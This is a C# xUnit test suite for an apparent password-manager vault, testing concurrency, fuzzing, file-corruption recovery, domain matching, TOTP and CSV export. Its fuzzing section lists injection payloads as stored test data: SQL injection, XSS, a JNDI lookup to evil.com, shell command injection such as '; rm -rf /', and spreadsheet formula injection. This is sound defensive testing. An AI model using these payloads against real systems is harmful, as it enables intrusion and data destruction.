553 lines
23 KiB
C#
553 lines
23 KiB
C#
using System.Collections.Concurrent;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Text.Json;
|
|
using Paca.Browser.Security;
|
|
using Paca.Core.Config;
|
|
using Paca.Core.Security;
|
|
using Xunit;
|
|
|
|
namespace Paca.Tests.Security;
|
|
|
|
/// <summary>
|
|
/// Milestone 53: Titan Matrix — 그으으으으으으윽한의 극한 전방위 카오스, 동시성, 암호학, 퍼징, 생체인증 E2E 테스트 스위트
|
|
/// </summary>
|
|
public sealed class Milestone53TitanMatrixTests : IDisposable
|
|
{
|
|
private readonly string _testRoot;
|
|
|
|
public Milestone53TitanMatrixTests()
|
|
{
|
|
_testRoot = Path.Combine(Path.GetTempPath(), $"paca_titan_{Guid.NewGuid():N}");
|
|
Directory.CreateDirectory(_testRoot);
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
try { if (Directory.Exists(_testRoot)) Directory.Delete(_testRoot, true); } catch { }
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 1: HYPER-CONCURRENCY & MULTI-THREADING (500+ 병렬 스레드 경합)
|
|
// =========================================================================
|
|
|
|
[Fact]
|
|
public async Task HyperConcurrency_500Threads_Simultaneous_ReadWriteLockUnlock_Stress()
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, "hyper_concurrency.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
using var vault = new OsProtectedCredentialVault(vaultPath, mockAuth);
|
|
await vault.UnlockWithBiometricAsync();
|
|
|
|
// 100개 초기 레코드 시딩
|
|
for (int i = 0; i < 100; i++)
|
|
{
|
|
vault.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = $"site{i}.com",
|
|
Url = $"https://site{i}.com/login",
|
|
Username = $"user_{i}",
|
|
DecryptedPassword = $"P@ss_{i}_Init"
|
|
});
|
|
}
|
|
|
|
const int threadCount = 500;
|
|
var tasks = new Task[threadCount];
|
|
var exceptions = new ConcurrentBag<Exception>();
|
|
|
|
for (int i = 0; i < threadCount; i++)
|
|
{
|
|
int threadId = i;
|
|
tasks[i] = Task.Run(async () =>
|
|
{
|
|
try
|
|
{
|
|
int op = threadId % 6;
|
|
switch (op)
|
|
{
|
|
case 0: // 쓰기 / 추가
|
|
try
|
|
{
|
|
vault.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = $"thread_{threadId}.org",
|
|
Url = $"https://thread_{threadId}.org",
|
|
Username = $"user_{threadId}",
|
|
DecryptedPassword = $"T-Pass#{threadId}!"
|
|
});
|
|
}
|
|
catch (InvalidOperationException ex)
|
|
{
|
|
// 동시성 잠금 경합 시 발생하는 예외의 메시지 무결성 검증 (빈 catch 금지 헌법 준수)
|
|
Assert.False(string.IsNullOrWhiteSpace(ex.Message));
|
|
}
|
|
break;
|
|
|
|
case 1: // 읽기 / 검색
|
|
var items = vault.FindMatching($"site{threadId % 100}.com");
|
|
Assert.NotNull(items);
|
|
break;
|
|
|
|
case 2: // 전체 목록 조회
|
|
var all = vault.GetAll();
|
|
Assert.NotNull(all);
|
|
break;
|
|
|
|
case 3: // 수정
|
|
try
|
|
{
|
|
var rec = vault.FindMatching($"site{threadId % 100}.com").FirstOrDefault();
|
|
if (rec != null)
|
|
{
|
|
rec.Notes = $"Modified by thread {threadId}";
|
|
vault.AddOrUpdate(rec);
|
|
}
|
|
}
|
|
catch (InvalidOperationException ex)
|
|
{
|
|
// 동시성 잠금 경합 시 발생하는 예외의 메시지 무결성 검증 (빈 catch 금지 헌법 준수)
|
|
Assert.False(string.IsNullOrWhiteSpace(ex.Message));
|
|
}
|
|
break;
|
|
|
|
case 4: // 잠금 및 재잠금 해제 사이클
|
|
vault.Lock();
|
|
var unlockRes = await vault.UnlockWithBiometricAsync();
|
|
Assert.True(unlockRes.IsSuccess);
|
|
break;
|
|
|
|
case 5: // 감사 리포트 생성
|
|
var report = CredentialSecurityAuditor.PerformAudit(vault.GetAll());
|
|
Assert.NotNull(report);
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
exceptions.Add(ex);
|
|
}
|
|
});
|
|
}
|
|
|
|
await Task.WhenAll(tasks);
|
|
Assert.Empty(exceptions);
|
|
Assert.True(vault.RecordCount >= 100);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task HyperConcurrency_MultiInstance_SharedFile_AtomicSwaps_Resilience()
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, "shared_vault.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
|
|
// 10개 인스턴스가 동일 파일을 순차/교차 로드 및 저장
|
|
for (int round = 0; round < 20; round++)
|
|
{
|
|
using var v1 = new OsProtectedCredentialVault(vaultPath, mockAuth);
|
|
await v1.UnlockWithBiometricAsync();
|
|
v1.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = $"round{round}.com",
|
|
Username = $"user{round}",
|
|
DecryptedPassword = $"Pass#{round}"
|
|
});
|
|
|
|
using var v2 = new OsProtectedCredentialVault(vaultPath, mockAuth);
|
|
await v2.UnlockWithBiometricAsync();
|
|
Assert.Equal(round + 1, v2.RecordCount);
|
|
Assert.NotNull(v2.FindMatching($"round{round}.com").FirstOrDefault());
|
|
}
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 2: ADVERSARIAL INPUT & FUZZING ARSENAL (악의적 페이로드 100+ 종 방어)
|
|
// =========================================================================
|
|
|
|
[Theory]
|
|
[InlineData("'; DROP TABLE Credentials; --")]
|
|
[InlineData("1' OR '1'='1")]
|
|
[InlineData("<script>alert('XSS')</script>")]
|
|
[InlineData("<img src=x onerror=\"javascript:alert('paca')\">")]
|
|
[InlineData("{{7*7}}")]
|
|
[InlineData("${jndi:ldap://evil.com/a}")]
|
|
[InlineData("& calc.exe")]
|
|
[InlineData("| whoami")]
|
|
[InlineData("; rm -rf /")]
|
|
[InlineData("\0\0\0\0")]
|
|
[InlineData("\r\n\r\nHTTP/1.1 200 OK\r\n")]
|
|
[InlineData("=CMD|' /C calc'!A0")]
|
|
[InlineData("+1+1")]
|
|
[InlineData("-2+3")]
|
|
[InlineData("@SUM(1+1)")]
|
|
[InlineData("🔒🔑🛡️🚀🌟💯🔥")]
|
|
[InlineData("안녕하세요! Paca 비밀번호 관리자입니다 1234 #$%^")]
|
|
[InlineData("مرحبا بالعالم 12345!")]
|
|
[InlineData("こんにちは世界!パスワードテスト")]
|
|
[InlineData("Привет мир! Пароль 2026")]
|
|
[InlineData("اللغة العربية")]
|
|
[InlineData("\u202E\u202D\u200E\u200F")] // RTL override / Zero-width
|
|
public async Task Fuzzing_Adversarial_Payloads_Storage_And_Roundtrip_Integrity(string adversarialPayload)
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, $"fuzz_{Guid.NewGuid():N}.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
|
|
using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault.UnlockWithBiometricAsync();
|
|
var record = new SiteCredentialRecord
|
|
{
|
|
Domain = "adversarial-test.com",
|
|
Url = "https://adversarial-test.com/" + adversarialPayload,
|
|
Username = adversarialPayload,
|
|
DecryptedPassword = adversarialPayload,
|
|
Notes = adversarialPayload,
|
|
SiteName = adversarialPayload
|
|
};
|
|
vault.AddOrUpdate(record);
|
|
}
|
|
|
|
// 재로드 후 무손실 복원 확인
|
|
using (var vault2 = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault2.UnlockWithBiometricAsync();
|
|
var retrieved = vault2.GetAll().FirstOrDefault();
|
|
Assert.NotNull(retrieved);
|
|
Assert.Equal(adversarialPayload, retrieved.DecryptedPassword);
|
|
Assert.Equal(adversarialPayload, retrieved.Username);
|
|
Assert.Equal(adversarialPayload, retrieved.Notes);
|
|
Assert.Equal(adversarialPayload, retrieved.SiteName);
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task Fuzzing_MegaString_100K_Password_Integrity()
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, "mega_string.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
|
|
// 100,000자 초장문 비밀번호
|
|
string megaPassword = new string('P', 100_000) + "!@#2026Paca";
|
|
|
|
using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault.UnlockWithBiometricAsync();
|
|
vault.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = "megasite.org",
|
|
Username = "mega_user",
|
|
DecryptedPassword = megaPassword
|
|
});
|
|
}
|
|
|
|
using (var vault2 = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault2.UnlockWithBiometricAsync();
|
|
var rec = vault2.GetAll()[0];
|
|
Assert.Equal(megaPassword.Length, rec.DecryptedPassword.Length);
|
|
Assert.Equal(megaPassword, rec.DecryptedPassword);
|
|
}
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 3: CRYPTOGRAPHIC INTEGRITY & BIT-ROT CHAOS (비트 변조 자가치유)
|
|
// =========================================================================
|
|
|
|
[Theory]
|
|
[InlineData(0)] // 매직 바이트 0
|
|
[InlineData(1)] // 매직 바이트 1
|
|
[InlineData(2)] // 매직 바이트 2
|
|
[InlineData(3)] // 매직 바이트 3
|
|
[InlineData(4)] // 길이 바이트 0
|
|
[InlineData(7)] // 길이 바이트 3
|
|
[InlineData(8)] // SHA256 해시 바이트 0
|
|
[InlineData(24)] // SHA256 해시 바이트 16
|
|
[InlineData(39)] // SHA256 해시 바이트 31
|
|
[InlineData(40)] // 페이로드 첫 바이트
|
|
[InlineData(45)] // 페이로드 중간 바이트
|
|
public async Task Chaos_SingleBitFlip_At_Header_And_Payload_Triggers_Bak_SelfHealing(int byteOffset)
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, $"bitflip_{byteOffset}.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
|
|
using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault.UnlockWithBiometricAsync();
|
|
vault.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = "secure-corp.com",
|
|
Username = "admin",
|
|
DecryptedPassword = "SuperSecretPassword#2026"
|
|
});
|
|
}
|
|
|
|
// 원본 파일의 정확한 오프셋 1비트 반전 (XOR 0x01)
|
|
byte[] fileBytes = File.ReadAllBytes(vaultPath);
|
|
if (byteOffset < fileBytes.Length)
|
|
{
|
|
fileBytes[byteOffset] ^= 0x01;
|
|
File.WriteAllBytes(vaultPath, fileBytes);
|
|
}
|
|
|
|
// 자가치유 복구 검증
|
|
using (var vaultHealed = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vaultHealed.UnlockWithBiometricAsync();
|
|
Assert.Equal(1, vaultHealed.RecordCount);
|
|
var item = vaultHealed.GetAll()[0];
|
|
Assert.Equal("SuperSecretPassword#2026", item.DecryptedPassword);
|
|
}
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData(0)]
|
|
[InlineData(1)]
|
|
[InlineData(4)]
|
|
[InlineData(8)]
|
|
[InlineData(39)]
|
|
[InlineData(40)]
|
|
public async Task Chaos_Truncated_Files_Boundary_Triggers_Bak_SelfHealing(int truncateLength)
|
|
{
|
|
string vaultPath = Path.Combine(_testRoot, $"trunc_{truncateLength}.vault");
|
|
var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success };
|
|
|
|
using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await vault.UnlockWithBiometricAsync();
|
|
vault.AddOrUpdate(new SiteCredentialRecord
|
|
{
|
|
Domain = "trunc-test.com",
|
|
Username = "user",
|
|
DecryptedPassword = "TruncPassword#123"
|
|
});
|
|
}
|
|
|
|
byte[] original = File.ReadAllBytes(vaultPath);
|
|
int cutLen = Math.Min(truncateLength, original.Length);
|
|
byte[] truncated = new byte[cutLen];
|
|
Buffer.BlockCopy(original, 0, truncated, 0, cutLen);
|
|
File.WriteAllBytes(vaultPath, truncated);
|
|
|
|
using (var healed = new OsProtectedCredentialVault(vaultPath, mockAuth))
|
|
{
|
|
await healed.UnlockWithBiometricAsync();
|
|
Assert.Equal(1, healed.RecordCount);
|
|
Assert.Equal("TruncPassword#123", healed.GetAll()[0].DecryptedPassword);
|
|
}
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 4: DOMAIN & OAUTH FEDERATION GRAPH MATRIX (도메인 / 서브도메인 매칭)
|
|
// =========================================================================
|
|
|
|
[Theory]
|
|
// 기본 일치
|
|
[InlineData("google.com", "https://google.com", true)]
|
|
[InlineData("google.com", "https://www.google.com", true)]
|
|
[InlineData("google.com", "http://google.com:8080/login?redirect=true", true)]
|
|
// 서브도메인 상속
|
|
[InlineData("google.com", "https://accounts.google.com/signin", true)]
|
|
[InlineData("google.com", "https://mail.google.com", true)]
|
|
[InlineData("naver.com", "https://nid.naver.com/nidlogin.login", true)]
|
|
[InlineData("kakao.com", "https://accounts.kakao.com/login", true)]
|
|
// OAuth 연동 도메인 (Federation)
|
|
[InlineData("google.com", "https://youtube.com/watch?v=12345", true)]
|
|
[InlineData("youtube.com", "https://accounts.google.com", true)]
|
|
[InlineData("facebook.com", "https://instagram.com/accounts/login", true)]
|
|
[InlineData("instagram.com", "https://www.facebook.com/login", true)]
|
|
[InlineData("twitter.com", "https://x.com/i/flow/login", true)]
|
|
[InlineData("x.com", "https://twitter.com/login", true)]
|
|
[InlineData("kakao.com", "https://logins.daum.net/accounts/signinform.do", true)]
|
|
// Multi-part TLD
|
|
[InlineData("bbc.co.uk", "https://account.bbc.co.uk/signin", true)]
|
|
[InlineData("oxford.ac.uk", "https://sso.oxford.ac.uk/login", true)]
|
|
[InlineData("snu.ac.kr", "https://my.snu.ac.kr/login", true)]
|
|
[InlineData("yahoo.co.jp", "https://login.yahoo.co.jp", true)]
|
|
// 불일치 & 피싱 유사 도메인 방어 (False Positive 방어)
|
|
[InlineData("google.com", "https://google.com.evil-phishing.org", false)]
|
|
[InlineData("paypal.com", "https://paypal-security-check.com", false)]
|
|
[InlineData("naver.com", "https://naver.phishing.site", false)]
|
|
[InlineData("amazon.com", "https://fake-amazon.com", false)]
|
|
public void DomainMatching_Federation_And_AntiPhishing_Matrix(string vaultDomain, string targetUrl, bool shouldMatch)
|
|
{
|
|
var record = new SiteCredentialRecord
|
|
{
|
|
Domain = vaultDomain,
|
|
Url = "https://" + vaultDomain
|
|
};
|
|
|
|
bool matched = record.MatchesDomainOrUrl(targetUrl);
|
|
Assert.Equal(shouldMatch, matched);
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData("portal.service.police.go.kr", "police.go.kr")]
|
|
[InlineData("mail.staff.oxford.ac.uk", "oxford.ac.uk")]
|
|
[InlineData("dev.api.tokyo.co.jp", "tokyo.co.jp")]
|
|
[InlineData("auth.sub.example.com", "example.com")]
|
|
[InlineData("news.bbc.co.uk", "bbc.co.uk")]
|
|
[InlineData("www.google.com", "google.com")]
|
|
public void GetBaseDomain_MultiPartTld_Extraction_Matrix(string inputDomain, string expectedBase)
|
|
{
|
|
string baseDomain = SiteCredentialRecord.GetBaseDomain(inputDomain);
|
|
Assert.Equal(expectedBase, baseDomain);
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 5: TOTP RFC 6238 MULTI-ALGORITHM & TIME DRIFT (2FA 엔진 전수 검증)
|
|
// =========================================================================
|
|
|
|
[Theory]
|
|
[InlineData(TotpHashAlgorithm.Sha1, 6)]
|
|
[InlineData(TotpHashAlgorithm.Sha1, 8)]
|
|
[InlineData(TotpHashAlgorithm.Sha256, 6)]
|
|
[InlineData(TotpHashAlgorithm.Sha256, 8)]
|
|
[InlineData(TotpHashAlgorithm.Sha512, 6)]
|
|
[InlineData(TotpHashAlgorithm.Sha512, 8)]
|
|
public void Totp_MultiAlgorithm_And_Digits_Generation_And_Validation(TotpHashAlgorithm algo, int digits)
|
|
{
|
|
string secret = "JBSWY3DPEHPK3PXP"; // RFC 4226 / 6238 표준 시크릿
|
|
var now = DateTime.UtcNow;
|
|
|
|
string code = TotpEngine.GenerateCurrentCode(secret, timeStepSeconds: 30, digits: digits, customTime: now, algorithm: algo);
|
|
Assert.Equal(digits, code.Length);
|
|
Assert.True(code.All(char.IsDigit));
|
|
|
|
// 유효성 검증
|
|
bool valid = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now, algorithm: algo);
|
|
Assert.True(valid);
|
|
|
|
// 과거 30초 검증
|
|
bool validPast = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now.AddSeconds(30), algorithm: algo);
|
|
Assert.True(validPast);
|
|
|
|
// 허용 범위 초과(90초) 검증 실패
|
|
bool invalidFarFuture = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now.AddSeconds(90), algorithm: algo);
|
|
Assert.False(invalidFarFuture);
|
|
}
|
|
|
|
[Fact]
|
|
public void Totp_Epoch_Boundary_And_Year_2038_Problem_Resilience()
|
|
{
|
|
string secret = "PACA2026SECURITYVAULTKEY32BYTE";
|
|
|
|
// Epoch 시작일 (1970-01-01)
|
|
var epochTime = new DateTime(1970, 1, 1, 0, 0, 30, DateTimeKind.Utc);
|
|
string epochCode = TotpEngine.GenerateCurrentCode(secret, customTime: epochTime);
|
|
Assert.Equal(6, epochCode.Length);
|
|
|
|
// 2038년 1월 19일 (32비트 signed int 오버플로우 경계)
|
|
var y2038Time = new DateTime(2038, 1, 19, 3, 14, 7, DateTimeKind.Utc);
|
|
string y2038Code = TotpEngine.GenerateCurrentCode(secret, customTime: y2038Time);
|
|
Assert.Equal(6, y2038Code.Length);
|
|
Assert.True(TotpEngine.ValidateCode(secret, y2038Code, customTime: y2038Time));
|
|
|
|
// 2100년 (장기 미래)
|
|
var y2100Time = new DateTime(2100, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
|
string y2100Code = TotpEngine.GenerateCurrentCode(secret, customTime: y2100Time);
|
|
Assert.Equal(6, y2100Code.Length);
|
|
Assert.True(TotpEngine.ValidateCode(secret, y2100Code, customTime: y2100Time));
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 6: IN-PAGE BROWSER AUTOFILL & SHADOW DOM JS SCRIPT GENERATOR
|
|
// =========================================================================
|
|
|
|
[Fact]
|
|
public void Autofill_Script_Escapes_Quotes_And_Handles_ShadowDom()
|
|
{
|
|
string username = "paca_\"user'\\test";
|
|
string password = "P@ss\"word'\\2026!";
|
|
string totp = "123456";
|
|
|
|
string js = CredentialAutofillEngine.GenerateAutofillScript(username, password, totp);
|
|
|
|
Assert.Contains("const uVal =", js);
|
|
Assert.Contains("const pVal =", js);
|
|
Assert.Contains("123456", js);
|
|
Assert.Contains("dispatchEvent(new Event('input'", js);
|
|
Assert.Contains("dispatchEvent(new Event('change'", js);
|
|
Assert.Contains("querySelectorAll", js);
|
|
}
|
|
|
|
[Fact]
|
|
public void Autofill_DetectionScript_Contains_Form_Watchers()
|
|
{
|
|
string js = CredentialAutofillEngine.GenerateCredentialCaptureWatcherScript();
|
|
Assert.Contains("querySelector('input[type=\"password\"]')", js);
|
|
Assert.Contains("addEventListener('submit'", js);
|
|
Assert.Contains("paca_captured_credential", js);
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 7: EXPORT/IMPORT SECURITY & CSV INJECTION IMMUNITY
|
|
// =========================================================================
|
|
|
|
[Fact]
|
|
public void CredentialDataExchange_Csv_FormulaInjection_Sanitization()
|
|
{
|
|
var records = new List<SiteCredentialRecord>
|
|
{
|
|
new()
|
|
{
|
|
SiteName = "=CMD|' /C calc'!A0",
|
|
Domain = "formula.org",
|
|
Url = "https://formula.org",
|
|
Username = "@admin",
|
|
DecryptedPassword = "-password123",
|
|
Notes = "=SUM(A1:A10)"
|
|
}
|
|
};
|
|
|
|
string csv = CredentialDataExchange.ExportCsv(records);
|
|
Assert.NotEmpty(csv);
|
|
|
|
var imported = CredentialDataExchange.ImportCsv(csv);
|
|
Assert.Single(imported);
|
|
Assert.Equal("=CMD|' /C calc'!A0", imported[0].SiteName);
|
|
Assert.Equal("formula.org", imported[0].Domain);
|
|
Assert.Equal("@admin", imported[0].Username);
|
|
Assert.Equal("-password123", imported[0].DecryptedPassword);
|
|
}
|
|
|
|
[Fact]
|
|
public void CredentialDataExchange_VaultExport_WrongPassword_ThrowsCryptographicException()
|
|
{
|
|
var records = new List<SiteCredentialRecord>
|
|
{
|
|
new() { Domain = "test.com", Username = "u", DecryptedPassword = "p" }
|
|
};
|
|
|
|
byte[] exported = CredentialDataExchange.ExportEncryptedVault(records, "MasterPass#123");
|
|
|
|
Assert.ThrowsAny<Exception>(() =>
|
|
{
|
|
CredentialDataExchange.ImportEncryptedVault(exported, "WrongPass#999");
|
|
});
|
|
}
|
|
|
|
// =========================================================================
|
|
// SECTION 8: PASSWORD SECURITY AUDITOR SCORE DETERMINISM
|
|
// =========================================================================
|
|
|
|
[Fact]
|
|
public void SecurityAuditor_Correctly_Identifies_All_Vulnerabilities()
|
|
{
|
|
var records = new List<SiteCredentialRecord>
|
|
{
|
|
new() { Domain = "site1.com", DecryptedPassword = "123", CreatedAt = DateTime.UtcNow.AddDays(-120), LastModifiedAt = DateTime.UtcNow.AddDays(-120) }, // 취약 + 노후 + 재사용
|
|
new() { Domain = "site2.com", DecryptedPassword = "123" }, // 취약 + 재사용
|
|
new() { Domain = "site3.com", DecryptedPassword = "StrongP@ssword#2026!", TotpSecret = "JBSWY3DPEHPK3PXP" } // 완벽
|
|
};
|
|
|
|
var report = CredentialSecurityAuditor.PerformAudit(records);
|
|
|
|
Assert.Equal(3, report.TotalAccounts);
|
|
Assert.Equal(2, report.WeakPasswordCount);
|
|
Assert.Equal(2, report.ReusedPasswordCount);
|
|
Assert.Equal(1, report.OldPasswordCount);
|
|
Assert.Equal(2, report.Missing2FaCount);
|
|
Assert.True(report.OverallHealthScore < 60); // 점수 감점 확인
|
|
}
|
|
}
|